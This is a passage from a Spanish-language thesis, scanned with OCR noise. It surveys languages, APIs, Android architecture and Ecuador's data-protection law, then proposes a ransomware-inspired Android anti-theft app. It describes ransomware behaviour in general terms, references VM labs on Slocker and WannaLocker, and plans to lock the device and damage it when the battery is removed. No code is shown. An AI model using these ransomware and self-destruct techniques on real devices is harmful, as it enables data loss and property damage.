en miles de millones de dispositivos en todo el mundo. Administra aplicaciones, sistemas
operativos de teléfonos inteligentes, programas comerciales y muchos programas
populares. Aunque Java fue dado de baja hace mas de 20 afios, ahora es el lenguaje de

programacion mas popular entre los desarrolladores de aplicaciones [35].

Java se ejecuta en varias plataformas porque al compilar un programa Java, el compilador
genera un archivo de codigo de bytes .class que se puede ejecutar en cualquier sistema
operativo donde esté instalada la maquina virtual Java (JVM). La JVM es generalmente
facil de instalar en la mayoria de los principales sistemas operativos, incluido iOS, lo que
no siempre es asi [35].

2.3.8.2 JavaScript

JavaScript es un lenguaje de programacion utilizado por los programadores para crear
paginas web interactivas. Desde la actualizacion de las fuentes de las redes sociales hasta
la visualizacion de animaciones y mapas interactivos, las funciones de JavaScript pueden

mejorar la experiencia del usuario en un sitio web [36] .

Anteriormente, las paginas web eran estaticas, como las paginas de un libro. Las paginas

estaticas basicamente muestran informacién en un disefio fijo, no todo lo que esperamos
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de un sitio web moderno. JavaScript ha surgido como una tecnologia del lado del
navegador que hace que las aplicaciones web sean mas dinamicas. Gracias a JavaScript,
el navegador puede reaccionar a la interaccion del usuario y cambiar la posicion del

contenido en la pagina web [36] .
2.3.8.3 Python

Es un lenguaje de alto nivel porque contiene algunas estructuras de datos ocultas como
listas, diccionarios, conjuntos y conjuntos que le permiten realizar tareas complejas en
unas pocas lineas de codigo y de una manera legible por humanos. Python tiene
capacidades de programacion funcional, imperativa y orientada a objetos, por lo que se

considera un lenguaje multiparadigma [37] .

Python fue creado por el programador holandés Guido van Rossum a finales de los 80 y
principios de los 90 mientras trabajaba en el sistema operativo Amoeba. Esta destinado
principalmente al manejo de excepciones y la interoperabilidad con Amoeba como
sucesor del lenguaje ABC. El 16 de octubre de 2000, se lanz6é Python 2.0, con nuevas
funciones, como la recoleccion completa de elementos no utilizados y la compatibilidad
total con Unicode. Pero el mayor logro es que comenzd a hacer crecer realmente la
comunidad bajo el liderazgo de Guido. Python 3.0 es una version importante y, en muchos
aspectos, incompatible con versiones anteriores, lanzada después de un largo periodo de
prueba el 3 de diciembre de 2008. Ya se lanzaron muchas de las funciones introducidas
en la version 3. Se ajustaron para la version 2.6 para que sea mas facil cambiar entre

versiones [37].

2.3.9 Script

Los scripts recogen principalmente el conocimiento genérico sobre una situacion, pero
para ser estructuras eficientes de procesamiento han de proporcionar mecanismos que
permitan identificar e interpretar la presencia de informacion que es incongruente con
dicho esquema y, en consecuencia, permitir una respuesta adaptativa [38].

Aunque los scripts se definen fundamentalmente como secuencias de acciones, el efecto
de la tipicidad de la informacion respecto al esquema podria afectar a éstos, ya que
también se aplican en t a reas de categorizacién. Asi, las interrupciones podrian presentar
distintos grados de tipicidad y diferir en cuanto a la intensidad de las respuestas afectivas
[38].
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2.3.10 Api-Interfaz de Programacion de Aplicaciones

Las APIs (Application Programming Interface) son interfaces que permiten que las
aplicaciones de software se comuniquen entre si, haciendo posible el intercambio de datos
e informacién entre programas, ademas, existen diversas formas de clasificar las APIs,
pero uno de los grupos mas importantes es el de las APIs Web, que se orientan hacia
aplicaciones o servicios web. Es destacable la importancia que tienen las APIs Web en la
actualidad, ya que son ampliamente utilizadas para el desarrollo de software, sobre todo
por las mas grandes empresas, como Google o Amazon. Las APIs son muy utiles al
permitir consumir y gestionar datos provenientes de aplicaciones o software externos a
un producto o aplicacion sin necesidad de volver a generarlos desde cero [39].

2.3.10.1 Microsoft Graph

Microsoft Graph API es una APl RESTful basada en la web que le permite acceder a los
recursos del servicio en la nube de Microsoft. Después de registrar su aplicacion y obtener
un token de autenticacion para el usuario o el servicio, puede enviar una solicitud a la API
de Microsoft Graph. Para obtener mas informacion, consulte Introducciéon a Microsoft
Graph [40].

2.3.10.2 Drive Api

La API de Google Drive le permite crear aplicaciones que aprovechan el almacenamiento
en la nube de Google Drive. Puede crear aplicaciones que se integren con Drive y
agregarles funciones avanzadas mediante la API de Drive [41].

El servicio de almacenamiento de archivos en la nube de Google brinda a los usuarios un
espacio de almacenamiento personal llamado "Mi unidad" y la capacidad de acceder a
carpetas compartidas llamadas "unidades compartidas", por otro lado, esta la APl que
permite aprovechar el almacenamiento de la aplicacion [41].

2.3.10.3 SDK de Google Assistant

El nuevo kit de desarrollo de software, el SDK del Asistente de Google, permitira a los
desarrolladores crear prototipos de su propio hardware, incluido el Asistente de Google,

para que pueda utilizarse en cualquier plataforma [42].

El SDK del Asistente de Google te permitird usar funciones como el control por voz, la
comprension del lenguaje natural y mas servicios de Google en casi cualquier dispositivo.

Este SDK viene con el codigo de referencia de Python para la creacion de prototipos en
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hardware como Raspberry Pi que admite la autenticacion y el acceso a la API del
Asistente de Google [42].

2.3.10.4 gRPC (Google Remote Procedure Call)

Es una plataforma moderna y eficiente basada en el antiguo protocolo de llamada a
procedimiento remoto (RPC). A nivel de aplicacion, gRPC facilita la comunicacion entre
el cliente y el servicio de back-end. Creado por Google, gRPC es de cddigo abierto y
forma parte del ecosistema Cloud Native Computing Foundation (CNCF) que
proporciona servicios en la nube. CNCF considera a gRPC como un proyecto de
incubadora. El término “incubaciéon™ significa que los usuarios finales utilizan la
tecnologia en aplicaciones y proyectos de produccién con un nimero correspondiente de
contribuyentes [43].

Un cliente gRPC tipico proporciona una funcion de ejecucién local para realizar una
operacion comercial. En segundo plano, esta funcion local llama a otra funcion en la
computadora remota. Lo que parece ser una llamada local en realidad se convierte en una
Ilamada transparente fuera del proceso a un servicio remoto. El enlace RPC es un resumen

de las redes, la serializacion y la ejecucion de un extremo a otro entre maquinas . [43]
2.3.11 Arquitectura de Android

Android es un sistema operativo para dispositivos moviles como teléfonos inteligentes y
tabletas basado en el nucleo Linux. Es desarrollado por la Open Handset Alliance, la cual
es liderada por Google, usando diversos conjuntos de herramientas de software de codigo

abierto para dispositivos moviles [44].

Implementa una arquitectura en la que cualquier aplicacién puede obtener acceso a las
capacidades del teléfono mavil. Por ejemplo, una aplicacion puede llamar una o varias de
las funcionalidades basicas de los dispositivos mdviles, tales como realizar llamadas,
enviar mensajes de texto, o utilizar la camara, facilitando a los desarrolladores crear

experiencias mas ricas y con mas coherencia para los usuarios [44].
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2.3.12 Framework

Es un disefio reutilizable de un sistema descrito en varias jerarquias de herencia de clases,
por lo general son abstractas , esta se implementa mediante la instanciacion del
framework en una aplicacién concreta, los frameworks se clasifican en funcion en que se
instancian estos pueden ser de caja blanca, caja negra, de aplicacion, de soporte y de
dominio [45].

2.3.12.1 lonic Framework-The mobile SDK for the Web

lonic es un SDK gratuito y de cddigo abierto que lo ayuda a crear aplicaciones moviles
para teléfonos i0S, Windows y Android utilizando la misma base de codigo. Es una

herramienta multiplataforma para el desarrollo de aplicaciones moviles [46].

Esta herramienta le permite crear aplicaciones mdviles hibridas. Con esta plataforma,
puede crear aplicaciones maviles utilizando aplicaciones web y lenguajes como HTML,
CSS, Javascript, Angular y TypeScript. lonic tiene un conjunto de componentes que
aseguran la funcionalidad de una plataforma mdvil. lonic es altamente eficiente y esta
impulsado por DOM minimo [46].

22



2.3.13 Codrdova Js

Es una plataforma de desarrollo de open source, para construir aplicaciones nativas
usando HTML, CSS y JavaScript. Practicamente lo que hace es obtener el cddigo y
transformarlo a lenguaje nativo movil. Cérdova ofrece muchos plugin de los que se
puede disponer y realizar las siguientes acciones como acceder a las propiedades de la
camara, leer cddigos QR, enviar documentos a imprimir a una impresora y una
infinidad de plugin disponibles [47].

2.3.14 Gradle

Es una herramienta que automatiza la compilacion de codigo abierto centrado en
rendimiento y flexibilidad, los scripts de Gradle se escriben con Groovy o Kotlin, ademas,
es compatible con muchos entornos integrados como Android Studio, Eclipse, XCode,
entre otros, este posee caracteristicas que no poseen otros compiladores como un motor

de resolucion de dependencias y depuracion de compilacion visual [48].
2.4 Marco Legal

2.4.1 Ley Organica De Proteccion De Datos Personales
Registro Oficial Suplemento 459 de 26-may.-2021
CAPITULO CUATRO: CATEGORIAS ESPECIALES DE DATOS

Art. 25.-Categorias especiales de datos personales.-Se consideraran categorias

especiales de datos personales, los siguientes [49]:

a) Datos sensibles;

b) Datos de nifias, nifios y adolescentes;

c) Datos de salud; y,

d) Datos de personas con discapacidad y de sus sustitutos, relativos a la discapacidad.

Art. 26.-Tratamiento de datos sensibles.-Queda prohibido el tratamiento de datos

personales sensibles salvo que concurra alguna de las siguientes circunstancias [50]:

a) El titular haya dado su consentimiento explicito para el tratamiento de sus datos

personales, especificandose claramente sus fines .
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b) El tratamiento es necesario para el cumplimiento de obligaciones y el ejercicio de
derechos especificos del responsable del tratamiento o del titular en el &mbito del Derecho

laboral y de la seguridad y proteccién social.

c) El tratamiento es necesario para proteger intereses vitales del titular o de otra persona
natural, en el supuesto de que el titular no esté capacitado, fisica o juridicamente, para dar

su consentimiento.

d) El tratamiento se refiere a datos personales que el titular ha hecho manifiestamente

publicos.
e) El tratamiento se lo realiza por orden de autoridad judicial.

f) El tratamiento es necesario con fines de archivo en interés publico, fines de
investigacién cientifica o historica o fines estadisticos, que debe ser proporcional al
objetivo perseguido, respetar en lo esencial el derecho a la proteccion de datos y
establecer medidas adecuadas y especificas para proteger los intereses y derechos

fundamentales del titular.

g) Cuando el tratamiento de los datos de salud se sujete a las disposiciones contenidas en

la presente ley.

Art. 27.-Datos personales de personas fallecidas.-Los titulares de derechos sucesorios
de las personas fallecidas, podran dirigirse al responsable del tratamiento de datos
personales con el objeto de solicitar el acceso, rectificacion y actualizacion o eliminacion
de los datos personales del causante, siempre que el titular de los datos no haya, en vida,

indicado otra utilizacion o destino para sus datos [51].

Las personas o instituciones que la o el fallecido haya designado expresamente para ello;
podrén también solicitar con arreglo a las instrucciones recibidas, el acceso a los datos

personales de éste; y, en su caso, su rectificacion, actualizacion o eliminacién [51] .

En caso de fallecimiento de nifias, nifios, adolescentes o personas que la ley reconozca
como incapaces, las facultades de acceso, rectificacion, actualizacion o eliminacion
podran ser ejercidas por quien hubiese sido su Ultimo representante legal. EI Reglamento
a la presente ley establecera los mecanismos para el ejercicio de las facultades enunciadas

en el presente articulo [51].
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Art. 28.-Datos crediticios.-Salvo prueba en contrario sera legitimo y licito el tratamiento
de datos destinados a informar sobre la solvencia patrimonial o crediticia, incluyendo
aquellos relativos al cumplimiento o incumplimiento de obligaciones de caracter

comercial o crediticia que permitan evaluar la concertacion de negocios en general [52].

La conducta comercial o la capacidad de pago del titular de los datos, en aquellos casos
en que los mismos sean obtenidos de fuentes de acceso publico o procedentes de
informaciones facilitadas por el acreedor. Tales datos pueden ser utilizados solamente
para esa finalidad de andlisis y no seran comunicados o difundidos, ni podran tener

cualquier finalidad secundaria [52].

La proteccion de datos personales crediticios se sujetara a lo previsto en la presente ley,
en la legislacion especializada sobre la materia y deméas normativa dictada por la

Autoridad de Proteccion de Datos Personales [52].

Sin perjuicio de lo anterior, en ningun caso podran comunicarse los datos crediticios
relativos a obligaciones de caracter econémico, financiero, bancario o comercial una vez
transcurridos cinco afios desde que la obligacion a la que se refieran se haya hecho
exigible [52].

Art. 29.-Derechos de los Titulares de Datos Crediticios.-

1. Sin perjuicio de los derechos reconocidos en esta Ley, los Titulares de Datos
Crediticios tienen los siguientes derechos [53]:

a) Acceder de forma personal a la informacion de la cual son titulares;

b) Que el reporte de crédito permita conocer de manera clara y precisa la condicién en

que se encuentra su historial crediticio; y,

c) Que las fuentes de informacion actualicen, rectifiquen o eliminen, segun el caso, la

informacidn que fuese ilicita, falsa, inexacta, erronea, incompleta o caduca

2. Sobre el derecho de acceso por el Titular del Dato Crediticio, éste sera gratuito, cuantas
veces lo requiera, respecto de la informacion que sobre si mismos esté registrada ante los
prestadores de servicios de referencia crediticia y a través de los siguientes mecanismos
[53]:

a) Observacion directa a través de pantallas que los prestadores del servicio de referencia
crediticia pondran a disposicion de dichos titulares; v,
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b) Entrega de impresiones de los reportes que a fin de que el Titular del Dato Crediticio
compruebe la veracidad y exactitud de su contenido, sin que pueda ser utilizado con fines

crediticios o comerciales.

3. Sobre los derechos de actualizacion, rectificacion o eliminacion, el Titular del Dato
Crediticio podra exigir estos derechos frente a las fuentes de informacion mediante
solicitud escrita. Las fuentes de informacion, dentro del plazo de quince dias de
presentada la solicitud, deberéan resolverla admitiéndola o rechazandola motivadamente.
El Titular del Dato Crediticio tiene derecho a solicitar a los prestadores del servicio de
referencias crediticias que, en tanto se sigue el proceso de revision, sefialen en los reportes
de crédito que emitan, que la informacion materia de la solicitud esta siendo revisada a
pedido del titular [53].

Art. 30.-Datos relativos a la salud.-Las instituciones que conforman el Sistema Nacional
de Salud y los profesionales de la salud pueden recolectar y tratar los datos relativos a la
salud de sus pacientes que estén o hubiesen estado bajo tratamiento de aquellos, de
acuerdo con lo previsto en la presente ley, en la legislacion especializada sobre la materia
y demas normativa dictada por la Autoridad de Proteccién de Datos Personales en

coordinacion con la autoridad sanitaria nacional [54].

Los responsables y encargados del tratamiento de datos asi como todas las personas que
intervengan en cualquier fase de este, estaran sujetas al deber de confidencialidad, de tal
manera que se garantice una seguridad adecuada de los datos personales, incluida la
proteccién contra el tratamiento no autorizado o ilicito y contra su pérdida, destruccion o
dafio accidental, mediante la aplicacion de medidas técnicas organizativas apropiadas.
Esta obligacion serd complementaria del secreto profesional de conformidad con cada
caso [54].

Las obligaciones establecidas en los apartados anteriores se mantendran aun cuando
hubiese finalizado la relacion del obligado con el responsable o encargado del
tratamiento, no se requerira el consentimiento del titular para el tratamiento de datos de
salud cuando ello sea necesario por razones de interés publico esencial en el &mbito de la
salud, el que en todo caso debera ser proporcional al objetivo perseguido, respetar en lo
esencial el derecho a la proteccion de datos y establecer medidas adecuadas y especificas

para proteger los intereses y derechos fundamentales del titular [54].
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Asimismo, tampoco se requerira el consentimiento del titular cuando el tratamiento sea
necesario por razones de interés publico en el &mbito de la salud publica, como en el caso
de amenazas transfronterizas graves para la salud, o para garantizar elevados niveles de
calidad y de seguridad de la asistencia sanitaria y de los medicamentos o productos
sanitarios, siempre y cuando se establezcan medidas adecuadas y especificas para

proteger los derechos y libertades del titular y, en particular, el secreto profesional [54].

Art. 31.-Tratamiento de datos relativos a la salud.-Todo tratamiento de datos relativos
a la salud debera cumplir con los siguientes parametros minimos y aquellos que determine
la Autoridad de Proteccion de Datos Personales en la normativa emitida para el efecto
[55]:

1. Los datos relativos a la salud generados en establecimientos de salud publicos o
privados, seran tratados cumpliendo los principios de confidencialidad y secreto
profesional. El titular de la informacion debera brindar su consentimiento previo
conforme lo determina esta Ley, salvo en los casos en que el tratamiento sea necesario

para proteger intereses vitales del interesado [55].

En el supuesto de que el interesado no esté capacitado, fisica o juridicamente, para dar su
consentimiento; o sea necesario para fines de medicina preventiva o laboral, evaluacién
de la capacidad laboral del trabajador, diagnéstico médico, prestacion de asistencia o
tratamiento de tipo sanitario o social, o gestion de los sistemas y servicios de asistencia
sanitaria, y social, sobre la base de la legislacion especializada sobre la materia o en virtud

de un contrato con un profesional sanitario [55].

En este ultimo caso el tratamiento sélo podra ser realizado por un profesional sujeto a la
obligacion de secreto profesional, o bajo su responsabilidad, de acuerdo con la legislacién
especializada sobre la materia o con las demas normas que al respecto pueda establecer
la Autoridad [55].

2. Los datos relativos a la salud que se traten, siempre que sea posible, deberan ser
previamente anonimizados o seudonimizados, evitando la posibilidad de identificar a los

titulares de los mismos [55].

3. Todo tratamiento de datos de salud anonimizados debera ser autorizado previamente
por la Autoridad de Proteccion de Datos Personales. Para obtener la autorizacion

mencionada, el interesado deberd presentar un protocolo técnico que contenga los
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parametros necesarios que garanticen la proteccion de dichos datos y el informe previo

favorable emitido por la Autoridad Sanitaria [55].

Art. 32.-Tratamiento de datos de salud por entes privados y publicos con fines de
investigacion.-Los datos relativos a salud que consten en las instituciones que conforman
el Sistema Nacional de Salud, podran ser tratados por personas naturales y juridicas
privadas y publicas con fines de investigacion cientifica, siempre que segun el caso
encuentren anonimizados, o dicho tratamiento sea autorizado por la Autoridad de

Proteccion de Datos Personales, previo informe de la Autoridad Sanitaria Nacional [56].

CAPITULO CINCO: TRANSFERENCIA O COMUNICACION Y ACCESO A
DATOS PERSONALES POR TERCEROS

Art. 33.-Transferencia o comunicacion de datos personales.-Los datos personales
podran transferirse 0 comunicarse a terceros cuando se realice para el cumplimiento de
fines directamente relacionados con las funciones legitimas del responsable y del
destinatario, cuando la transferencia se encuentre configurada dentro de una de las
causales de legitimidad establecidas en esta Ley, y se cuente, ademas, con el

consentimiento del titular [57].

Se entendera que el consentimiento es informado cuando para la transferencia o
comunicacion de datos personales el Responsable del tratamiento haya entregado
informacion suficiente al titular que le permita conocer la finalidad a que se destinaran
sus datos y el tipo de actividad del tercero a quien se pretende transferir o comunicar
dichos datos [57].

CAPITULO SEIS: SEGURIDAD DE DATOS PERSONALES

Art. 37.-Seguridad de datos personales.-El responsable o encargado del tratamiento de
datos personales segln sea el caso, debera sujetarse al principio de seguridad de datos
personales, para lo cual deberd tomar en cuenta las categorias y volumen de datos
personales, el estado de la técnica, mejores practicas de seguridad integral y los costos de
aplicacion de acuerdo con la naturaleza, alcance, contexto y los fines del tratamiento, asi

como identificar la probabilidad de riesgos [58].

El responsable o encargado del tratamiento de datos personales, debera implementar un
proceso de verificacién, evaluacion y valoracidn continua y permanente de la eficiencia,

eficacia y efectividad de las medidas de caracter técnico, organizativo y de cualquier otra
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indole, implementadas con el objeto de garantizar y mejorar la seguridad del tratamiento

de datos personales [58].

El responsable o encargado del tratamiento de datos personales debera evidenciar que las
medidas adoptadas e implementadas mitiguen de forma adecuada los riesgos
identificados [58].

Entre otras medidas, se podréan incluir las siguientes;
1) Medidas de anonimizacion, seudonomizacion o cifrado de datos personales;

2) Medidas dirigidas a mantener la confidencialidad, integridad y disponibilidad
permanentes de los sistemas y servicios del tratamiento de datos personales y el acceso a

los datos personales, de forma rapida en caso de incidentes; y
3) Medidas dirigidas a mejorar la residencia técnica, fisica, administrativa, y juridica.

4) Los responsables y encargados del tratamiento de datos personales podran acogerse a
estandares internacionales para una adecuada gestion de riesgos enfocada a la proteccion
de derechos y libertades, asi como para la implementacion y manejo de sistemas de
seguridad de la informacion o a cddigos de conducta reconocidos y autorizados por la

Autoridad de Proteccion de Datos Personales [58].

Art. 38.-Medidas de seguridad en el ambito del sector publico.-EI mecanismo
gubernamental de seguridad de la informacién debera incluir las medidas que deban
implementarse en el caso de tratamiento de datos personales para hacer frente a cualquier
riesgo, amenaza, vulnerabilidad, accesos no autorizados, pérdidas, alteraciones,
destrucciéon o comunicacion accidental o ilicita en el tratamiento de los datos conforme

al principio de seguridad de datos personales [59].

El mecanismo gubernamental de seguridad de la informacién abarcara y aplicara a todas
las instituciones del sector publico, contenidas en el articulo 225 de la Constitucion de la
Republica de Ecuador, asi como a terceros que presten servicios publicos mediante
concesion u otras figuras legalmente reconocidas. Estas, podran incorporar medidas

adicionales al mecanismo gubernamental de seguridad de la informacion [59].
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Capitulo 3: Propuesta

3.1 Planteamiento

3.1.1 Requerimientos Funcionales

A continuacion se mostraran los requerimientos funcionales de las acciones que

realizara la aplicacion, en otras palabras, las funcionalidades del cliente.
N © Descripcion del Requerimiento

La aplicacion permitira registrar una clave para proteger los datos
almacenados.

La aplicacion permitira ingresar a su cuenta de servicio de

almacenamiento en la nube de Google Drive.

La aplicacion permitira realizar copias de seguridad mandandolas a la
cuenta del servicio.

La aplicacion podra mostrar informacion de la misma como la version

y funciones.

La aplicacion permitira cifrar los datos mediante una clave antes
configurada por el usuario.

Tabla 1Requerimientos Funcionales

3.1.2 Requerimientos no Funcionales

A continuacion se presentan los requerimientos no funcionales las cuales se refieren a

las propiedades del sistema.

N ° Descripcion del Requerimiento

‘0| La aplicacion debera poseer una interfaz sencilla e intuitiva para el

usuario.

728 Se utilizo el IDE Android Studio para desarrollar la aplicacion.
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La aplicacion seré capaz de realizar el cifrado de la informaciéon del

dispositivo movil mediante Cipher.

Se desarrollo la aplicacion en el lenguaje de programacion Java.

Tabla 2 Requerimientos No Funcionales

3.2 Analisis

3.2.1 Anadlisis del funcionamiento del ransonware.

Secuestra la

Inserta informacion

@ Virus
)

mediante cifrado

Bloquea el
dispositivo
Atacante Dispositivo .
incluso causando
Infectado

darios fisicos

Figure 3 Funcionamiento de Ransonware

Por lo general, un ransonware se comporta de la manera expuesta en la figura anterior, al
instalarse mediante una aplicacion o una descarga de cualquier tipo, el malware se ejecuta
de manera silenciosa en segundo plano y cifra cualquier tipo de archivo en el teléfono
inteligente, incluidas imagenes, documentos y videos, también puede secuestrar el
dispositivo movil, lo que hace imposible que los propietarios accedan al dispositivo y en

otros casos el mismo recibe darios fisicos.

3.2.2 Andlisis de ransonware mediante laboratorios.
3.2.2.1 Slocker (Sara version) en maquina virtual Android 9.0

Mediante el Anexo[2] se puede observar el laboratorio de como actua el Slocker en un
dispositivo movil con sistema operativo Android version 9.0, mostrando como cifran los

datos e inhabilitando algunos servicios.
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3.2.2.2  Anadlisis de comportamiento de WannalLocker en maquina virtual
Android v9.0

Mediante el Anexo[3] se puede observar el laboratorio de como actda el WannalLocker
en un dispositivo movil con sistema operativo Android version 9.0, mostrando como

cifran los datos e inhabilitando algunos servicios.

3.2.3 Andlisis de la arquitectura de Android
3.23.1 Kernel de Linux

LINUX KERNEL

Figure 4 Capa de kernel Linux

Esta capa nos permitird gestionar los diferentes drivers de los dispositivos moviles
controlando los diferentes servicio basicos como el wifi, pantalla, procesador, tarjetas de
almacenamiento y demas componentes, por otro lado, cabe destacar que para
implementar el sistema para los fabricantes estos solo deben proveer a sus sistemas del
kernel Linux adecuado, y siguiendo el modelado de drivers de Linux, comunicandose asi

con los distintos periféricos del dispositivo.

A lo largo de las cinco capas, las funciones del kernel difieren, desde la gestion de
procesos hasta el gestor de dispositivos. La capa superior, en cambio, no tiene acceso a
los componentes, pero establece la comunicacion con el software, los programas de
aplicacion se ejecutan en el sistema independientemente del kernel y solo acceden a sus

funciones. Sin el kernel, la comunicacion entre el programay el hardware no seria posible.

En resumen, la capa de kernel permite conectar con diferentes drivers para usar ciertos
componentes, pero en este caso nos centraremos en el driver que usa la red Wifi, el cual
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usariamos mediante la aplicacion para realizar los correspondientes respaldos y subirlos
a la nube, de esta manera no se perderian los datos del usuario; otro de los drivers que se
utilizarian seria el que controla los sensores debido que estos permitirian habilitar y
deshabilitar los botones del movil para su correcto bloqueo; y a la vez permita la copia de
seguridad sin interrupcion y por Gltimo se usaria para que detecte si un componente es
retirado como por ejemplo la bateria este mande instrucciones para colapsar el sistema y
danarlo para que no se pueda usar nuevamente el dispositivo por el delincuente u otra

persona no deseada.

3.2.3.2 Capa de abstraccion de hardware (HAL)

Capa de abstraccion de hardware (HAL)

Figure 5 Capa de abstraccion de hardware

Esta capa actua sobre el kernel y de manera conjunta, debido que permite que es sistema
funcione de manera correcta, ;Cémo lo hace? Pues este actla como medio de
comunicacion entre las dos capas mencionadas anteriormente, el Hal mandara
instrucciones definidas sin ningun tipo de cambio, incluso si se cambia de hardware, al

kernel para usar los drivers y acceder a ellos.

Todo lo antes mencionado permite lo que es la comunicacion, cuando cumpla con el
proceso el sistema cargara lo que son los médulos de biblioteca que correspondan al
hardware, estas son escritas en Java lo cual permite administrar varios procesos como los
recursos a utilizar, actividades que se realizaran y el contenido en general; en otras
palabras, cada médulo implementa una interfaz estandar que expone las capacidades de

hardware del dispositivo para su utilizacion posterior.

3.23.3 Librerias

Figure 6 Capa de Librerias Nativas
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En si en esta capa se encuentran o se proveen un conjuntos de librerias que se encargan
de la compatibilidad entre animaciones, gestion de datos , entre mas cosas, en su mayor
parte las bibliotecas estan basadas en Java Android, lo cual significa que tanto como la
construccion de interfaz de usuario, graficos y acceso a bases de datos estan disponibles
de las siguientes maneras, por ejemplo, para tener acceso entre componentes de la
aplicacion se utiliza el android.content, permitiendo de esta manera enviar a datos a un
widget, sincronizar datos de nuestra aplicacion con un servidor, otra biblioteca que es
interesante mencionar es la Android. Os debido que tiene la capacidad de proporcionar
acceso a las aplicaciones a varios servicio del sistema operativo y la comunicacién entre

varios procesos.

Otro punto importante tomar a cuenta es que la capa de librerias cuenta con soporte para
el lenguaje de programacién java por lo cual esto permite mayor facilidad al desarrollo
de este trabajo debido que varios ransonware son hechos en este lenguaje de
programacion, posteriormente ayudando a comunicarse el dispositivo movil con la
aplicacion, cabe rescatar que para poder usar funciones del sistema operativo se debe
Ilegar a modificar el archivo manifest.xml y el main activity ya que estos permitiran hacer
ciertas actividades iniciales como por ejemplo bloqueos de pantalla y deshabilitacion de

algunos sensores que se encuentran en la capa de kernel.

3.234 Android Runtime

Android Runtime

Android Runtime (ART)

Core Libraries

Figure 7 Capa de Android Runtime

Esta capa no se la considera como independiente debido que también estd formado por
bibliotecas, estas proporcionan una gran cantidad de funciones que estan disponibles en
las librerias habituales del lenguaje java; cada aplicacién que corra el sistema realiza su

propio proceso, esto se lo realiza mediante una maquina virtual denominada Dalvik.
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Dalvik funciona de la siguiente forma; genera un bytecode a un bytecode de Java y
posterior lo transforma en uno que se usa por Android, en otras palabras, se genera un
.class proveniente tipicamente de Java para después convertirlo en .dex, este es el
ejecutable de Dalvik), esto permite comprimir los diferentes tipos de archivos conocidos
como apk, sabiendo esto nos permitira saber de manera mas concreta como se generan
las diferentes apk de las aplicaciones que uno desarrolla, ademas es de software libre con
una licencia de Apache y por ultimo al basarse en registros en vez de pilas se aprovecha

mucho el rendimiento de los dispositivos.

Sin embargo, se sustituy6 por ART por motivos de algunas ventajas como el tema de la
compilacion una vez se ejecute una aplicacién provocando asi un continuo compilado
reduciendo asi el uso del procesador y posterior evitar problemas con la bateria, en
resumen a pesar del cambio que se hizo con los entornos de ejecucion de Dalvik a Art se
obtuvieron muchos beneficios con respecto a la ejecucion de aplicaciones
transformandolos en instrucciones de maquina que luego se ejecutan por el entorno nativo

del dispositivo.

3.235 Java APl Framework

Java APl Framework

Figure 8 Capa de Java APl Framework

Esta capa nos sirve o fue disefiada exclusivamente para simplificar la reutilizacion de los
componentes, de esta manera los desarrolladores tienen acceso total al codigo fuente
usada en las aplicaciones que vienen por defecto en el mdvil; fue hecho de esta forma
para generar cientos de componentes de aplicaciones variadas, respondiendo a una misma
accion, posibilitando asi que los usuarios puedan modificar o reemplazar sin necesidad

de programar de inicio.

Como dato extra la mayoria de estos componentes de esta capa son bibliotecas Java que

pueden acceder a ciertas funciones, permitiendo una mayor compatibilidad con la
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aplicacion que se planea desarrollar, por ejemplo, se puede administrar los sensores
permitiendo su correcto uso como lo son los sensores de los botones de bloqueo y de

controlar ciertos sensores de proximidad.

3.2.3.6 Aplicaciones

System Apps

Figure 9 Capa de Aplicaciones

Esta capa se la puede definir simplemente como capa superficial debido que se encuentran
todas las aplicaciones que viene por defecto en el dispositivo, mismas que pueden acceder
a servicios, Api’s y librerias de los niveles anteriores, sean con una interfaz de usuario o
no sean nativas o administradas, también cuentan las que el usuario instale
posteriormente, entre todas estas se encuentra la del sistema principal que se llama Home
o0 Inicio, mas bien se lo puede definir como launcher porque permite ejecutar las demas

aplicaciones, se lo puede comparar como el botén Windows de los moéviles.
3.2.4 Andlisis de Lenguaje de Programacion

El siguiente cuadro comparativo muestra las distintas fortalezas y debilidades que tengan
los lenguajes de programacion expuestos para elegir la mejor opcién para el desarrollo de

la aplicacién basada en malware.

Lenguaje Caracteristicas Fortaleza Debilidad
JAVA e Orientado a e Permite la e Puede llegar a
objetos. creacion de Ser un poco
e Multiplataforma. aplicaciones de lento en
escritorio. realizar ciertos
e Tiene soporte a procesos.
desarrollo de e Requiere
aplicaciones experiencia en
moviles y web. el area de

Compatible con
librerias
estandar y
editores.
Ofrece gestion
de errores.

programacion.
Su sintaxis es
compleja.

Se ejecuta solo
en magquinas
robustas.
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Es un lenguaje
de tipo
intermedio.

JAVASCRIPT !_enguaje Se ejecuta _deI Codigo vis_ible
interpretado. lado del cliente. por cualquier
Orientado a Lenguaje de usuario
objetos. scripting seguro El cddigo debe

y fiable. ser descargado
completamente
Depende del
soporte del
navegador para
que funcione
correctamente.

PYTHON Perm!t,e incluso Mgltiplataforma. Los lenguajes
creacion de Orientado a interpretados
sitios web. objetos portable. suelen ser
Caodigo Caodigo abierto. relativamente
interpretado. Lenguaje de alto lentos.

nivel No es

Posee amplias recomendable

bibliotecas y para el

framework desarrollo de
aplicaciones
moviles
Consume
mucha
memoria RAM
del dispositivo

TYPESCRIPT Tiene un Cédigq mas La curva (_Jle
lenguaje entendible. aprendizaje es
orientado a Evita errores de mayor que la
objetos. l6gica en el de JavaScript.
Admite codigo. Se debe
bibliotecas de Utiliza la misma compilar.
JavaScript. sintaxis de
Es portatil JavaScript.

Ligeroe
interpretado

Tabla 3 Cuadro comparativo de lenguajes de programacion
Con la tabla podemos deducir los siguientes puntos, Python no es recomendable para
sugerirlo como lenguaje principal para la aplicacion basada en ransonware debido al alto

consumo de recursos y al ser codigo interpretado seria muy lento para las tareas que esta
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app realizaria, por otro lado el lenguaje de JavaScript simplemente esta mas orientado a
desarrollar sitios web, ademas al poder se visible el codigo al usuario puede presentar

algunos intentos de ataques para vulnerar la aplicacion.

Por ultimo, esta el lenguaje Java, este es el mas apto para el proyecto debido a su alta
capacidad de desarrollo movil y la compatibilidad que tiene con la propia arquitectura del
sistema operativo Android debido que en el kernel estan las bibliotecas que a las que java
puede acceder, a pesar de que este lenguaje puede llegar a ser complejo de entender y

aprender, facilita realizar varias tareas.
3.2.5 Anadlisis de Entrono de Desarrollo

La siguiente tabla se basé en las siguientes caracteristicas para comparar ambos entornos
de desarrollo para ver cual es la mejor opcidn entre los dos, cabe rescatar que la tabla fue
desarrollada en base a otra comparativa, pero con eclipse y se lo tomo como referencia

para el presente proyecto.

Caracteristicas Android Studio Visual Studio Code
Sistema de construccién Gradle Electron
Lenguajes soportados Java, Kotliny C++ Batch, C++, Closure,

Coffee Script, DockerFile,
